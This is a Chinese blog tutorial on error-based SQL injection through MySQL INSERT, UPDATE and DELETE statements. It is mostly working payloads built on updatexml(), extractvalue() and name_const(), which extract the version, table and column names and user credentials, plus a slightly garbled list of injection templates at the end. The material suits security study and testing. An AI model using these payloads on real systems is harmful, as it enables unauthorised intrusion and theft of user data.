写点什么

insert、update、delete 注入总结

用户头像
Cc.
关注
发布于: 2021 年 02 月 25 日

0x00 前言

利用 SQL 注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于 select 查询语句中的 SQL 注射点来实现的。那么,当我们发现了一个基于 insert、update、delete 语句的注射点时(比如有的网站会记录用户浏览记录,包括 referer、client_ip、user-agent 等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以 MYSQL 的显错为例,看一下如何在 insert、update、delete 的注入点中获取我们想要的数据。


0x01 后台 SQL 语句

假设一下后台语句是这样的:

insert into users (id, username, password) values (2,''inject here'','Olivia');insert into users (id, username, password) values (2,""inject here"",'Olivia');
复制代码

0x02 利用 updatexml()、extractvalue()获取数据

updatexml()函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数。


一般这种情况下都是用报错注入的。

payload:

or updatexml(1,concat(0x7e,(version())),0) or
or extractvalue(1,concat(0x7e,database())) or
复制代码

insert

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or updatexml(1,concat(0x7e,(version())),0) or'', 'Nervo');
复制代码

updata

UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';
复制代码

delete

DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';
复制代码

获取表名、列名时加上 group_concat()


extractvalue()用法同上


0x03 利用 name_const()获取数据


nameconst()函数是 MYSQL5.0.12 版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAMECONST() 促使该列使用给定名称。


payload

or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
复制代码


insert

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '','Nervo');
复制代码

updata

UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';
复制代码

delete

DELETE FROM users WHERE id=1 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';
复制代码


在最新的 MYSQL 版本中,使用 name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于 5.0.12(包括 5.0.12)的 MYSQL 版本中,可以进一步提取更多数据。在这里我使用 MySQL5.0.45 进行演示。


首先,我们做一个简单的 SELECT 查询,检查我们是否可以提取数据。

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT 2),1),name_const((SELECT 2),1))a) or '', 'Nervo');
复制代码

如果显示 ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。


如果显示 ERROR 1060 (42S21): Duplicate column name '2',就可以进一步获取更多数据。


获取 newdb 数据库表名:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 1,1),1))a) or '', 'Nervo');
ERROR 1060 (42S21): Duplicate column name 'users'
复制代码

获取 users 表的列名:

INSERT INTO users (id, username, password) VALUES (1,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1),name_const(( SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),1))a) or '', 'Nervo');
ERROR 1060 (42S21): Duplicate column name 'id'
复制代码

获取 users 表的数据:

INSERT INTO users (id, username, password) VALUES (2,'Olivia' or (SELECT*FROM(SELECT name_const((SELECT concat_ws(0x7e,id, username, password) FROM users limit 0,1),1),name_const(( SELECT concat_ws(0x7e,id, username, password) FROM users limit0,1),1))a) or '', 'Nervo');
ERROR 1060 (42S21): Duplicate column name '1~Jane~Eyre'
复制代码

0x04 利用子查询注入


' or (payload) or '' and (payload) and '' or (payload) and '' or (payload) and '=''* (payload) *'' or (payload) and '" – (payload) – "
复制代码


发布于: 2021 年 02 月 25 日阅读数: 15
用户头像

Cc.

关注

还未添加个人签名 2020.07.02 加入

还未添加个人简介

评论

发布
暂无评论
insert、update、delete注入总结